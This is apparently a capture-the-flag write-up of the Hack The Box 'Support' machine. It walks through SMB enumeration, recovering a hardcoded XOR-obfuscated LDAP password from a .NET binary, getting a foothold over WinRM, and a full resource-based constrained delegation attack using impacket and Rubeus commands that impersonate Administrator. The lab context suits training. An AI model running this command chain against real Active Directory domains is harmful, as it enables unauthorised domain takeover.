Support Write-Up - HTB
Recon
Running a full port nmap stealth scan reveals that this is built like a DC:
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
49674/tcp open unknown
49686/tcp open unknown
49691/tcp open unknown
49709/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 113.94 seconds
Enumeration
SMB:
Further enumeration targets are LDAP and SMB.
Starting of with SMB, by running NMAP Scripts over it:
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp open microsoft-ds?
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-04-21T15:43:43
|_ start_date: N/A
| smb2-capabilities:
| 2:0:2:
| Distributed File System
| 2:1:0:
| Distributed File System
| Leasing
| Multi-credit operations
| 3:0:0:
| Distributed File System
| Leasing
| Multi-credit operations
| 3:0:2:
| Distributed File System
| Leasing
| Multi-credit operations
| 3:1:1:
| Distributed File System
| Leasing
|_ Multi-credit operations
|_smb-vuln-ms10-054: false
|_smb-print-text: false
|_smb-flood: ERROR: Script execution failed (use -d to debug)
| smb-mbenum:
|_ ERROR: Failed to connect to browser service: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb-protocols:
| dialects:
| 2:0:2
| 2:1:0
| 3:0:0
| 3:0:2
|_ 3:1:1
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.56 seconds
It turns out that we could enumerate a share via smb:

I ran an mget *
and started running strings over the binaries, but the most interesting one is the UserInfo binary, that's for sure!
Reverse Engineering .NET Binary:
UserInfo.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
This is a .NET binary, so I got ILSpy on my KaliBox and started reversing:
wget https://github.com/icsharpcode/AvaloniaILSpy/releases/download/v7.2-rc/Linux.x64.Release.zip
mkdir ILSpy
mv *.zip
cd ILSpy
unzip *
unzip ILSpy-linux-x64-Release.zip
cd
./ILSpy
Load up the binary and start scavenging. This is what we are looking for:

Reverse Engineering the Encryption Function:
We have function:

We have string variable enc_password which is base64. We have byte array variable key which is taking ASCII string armando and turns it into a string of bytes. We have function getPassword() which:
Has a byte array variable array that converts the enc_password from base64 to a string of bytes.
Has a byte array variable called array2 that is set to the length of array and it's identical. This will serve for storing the decrypted bytes.
Starts a for loop from 0 to array.length:
In this for loop each object of the array2 is:
(byte)(uint)
Type Conversions: first it goes to uint then back to bytes.key[i % key.Length]
This takes the key variable which holds 'armando' and loops through it using modulo operator with i.array[i] ^ key[i % key.Length]
This is the first XOR operation, it compares the bytes of the array and the key.^ 0xDF
This is the second XOR operation, it adds another layer of security.
After processing all bytes, the function converts the entire decrypted byte array back to a string using the default encoding and returns it.
Explaining XOR Operation, Logic Gate:
A practical example of why this works: XOR Logic cancels itself out or self-reverts:
10110101 (original value)
⊕ 11001100 (key)
---------
01111001 (encrypted result)
01111001 (encrypted result)
⊕ 11001100 (same key as before)
---------
10110101 (original value restored!)
This is a fairly simple formula to encrypt a password, that utilizes the basic XOR gate. XOR is just a boolean logic gate: ((a and Not(b)) or (Not(a) and b)). Boolean Algebra, introduced by George Boole in the 19th Century.
/**
* Exclusive-or gate:
* if ((a and Not(b)) or (Not(a) and b)) out = 1, else out = 0
*/
CHIP Xor {
IN a, b;
OUT out;
PARTS:
Not(in=a, out=notA);
Not(in=b, out=notB);
And(a=notA, b=b, out=notAandB);
And(a=a, b=notB, out=AandnotB);
Or(a=notAandB, b=AandnotB, out=out);
}
We can verify this works by testing all possible combinations:
When a=0, b=0: ((0 and Not(0)) or (Not(0) and 0)) = ((0 and 1) or (1 and 0)) = (0 or 0) = 0
When a=0, b=1: ((0 and Not(1)) or (Not(0) and 1)) = ((0 and 0) or (1 and 1)) = (0 or 1) = 1
When a=1, b=0: ((1 and Not(0)) or (Not(1) and 0)) = ((1 and 1) or (0 and 0)) = (1 or 0) = 1
When a=1, b=1: ((1 and Not(1)) or (Not(1) and 1)) = ((1 and 0) or (0 and 1)) = (0 or 0) = 0
So, to recap:
We have base64 string;
We have bytes array of key;
We convert base64 to a string of bytes and store in array;
We define function to XOR each array byte with each key byte;
We XOR the result of the previous operation with the constant value 0xDF;
Convert the byte array back to base64 to get the encrypted string.
To decrypt:
Convert the result string back to byte array;
For each byte in the encrypted array:
XOR it with the corresponding byte from the key (cycling through the key)
XOR the result with 0xDF
Convert the final byte array to a string to get the original password
Remember XORing is an associative operation, meaning that the order of operations does not matter!
Let's say we've got the original byte P, the key byte K and the constant 0xDF, C;
Encrypted = (P ^ K) ^ C
Decrypted = (Encrypted ^ K) ^ C
= (((P ^ K) ^ C) ^ K) ^ C
Now, due to XOR's properties:
K ^ K cancels out to 0
Any value XORed with 0 remains unchanged
C ^ C cancels out to 0
Decrypted = P ^ (K ^ K) ^ (C ^ C)
= P ^ 0 ^ 0
= P
Finding the Username:
Now we've got our password, but what's the username? Of course, I tried armando
! Doesn't work :D
So... I checked the LdapQuery function, we've got our answer:
There is a DirectoryEntry constructor that states the protocol://adress, username, password.

Bloodhound:
Now I ran bloodhound:

LDAP:
I think this box is super related to LDAP now, decided to run few ldap queries:
ldapsearch -x -H ldap://10.10.11.174 -D "support\ldap" -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" "(sAMAccountName=support)" "*"

Foothold
We just got ourselves a plain-text password :) for the user support. Now, remember WinRM is on. Let's use that to connect.evil-winrm -i 10.10.11.174 -u support -p 'Ironside47pleasure40Watchful'
PrivEsc - RBCD
This a RBCD Attack, for more info please check this article.
Requirements:
Once we are on the box, I loaded up SharpHound. We have GenericAll over the DC through our group and we also have SeMachineAccountPrivilege Add workstations to domain Enabled
C:\Users\support\Downloads>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Launching the attack:
We will now abuse our SeMachineAccountPrivilege to add a new computer in the domain. We will use impacket-addcomputer for it:
python3 /usr/share/doc/python3-impacket/examples/addcomputer.py -computer-name 'ATTACKCOMPUTER$' -computer-pass 'AttackPassword123' -dc-ip 10.10.11.174 'support.htb/support:Ironside47pleasure40Watchful'
Now, let's use our GenericAll rights to write an attribute to the DC to include a DACL where we can delegate from our ATTACKCOMPUTER$ to the DC:
python3 /usr/share/doc/python3-impacket/examples/rbcd.py -action write -delegate-from 'ATTACKCOMPUTER$' -delegate-to 'DC$' -dc-ip 10.10.11.174 'support.htb/support:Ironside47pleasure40Watchful'
Now let's go on the target host where we transferred Rubeus and check our hash:
.\Rubeus.exe hash /password:AttackPassword123 /user:ATTACKCOMPUTER$ /domain:support.htb
Use this hash now to request a TGT ticket
.\Rubeus.exe asktgt /user:ATTACKCOMPUTER$ /rc4:753F0A7DFD2413A969F14855C6E5832F /domain:support.htb /dc:dc.support.htb /nowrap
Now use this TGT to request a TGS for CIFS.
.\Rubeus.exe s4u /user:ATTACKCOMPUTER$ /rc4:753F0A7DFD2413A969F14855C6E5832F /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /domain:support.htb /dc:dc.support.htb /ptt
Take this base64 hash:
[*] base64(ticket.kirbi) for SPN 'cifs/dc.support.htb':
Trim the spaces, decode and do:
Impacket-ticketConverter ticket_decoded.kirbi ticket.ccache
Add dc.support.htb to /etc/hosts
export KRB5CCNAME=ticket.ccache
impacket-psexec -k -no-pass support.htb/administrator@dc.support.htb

Last updated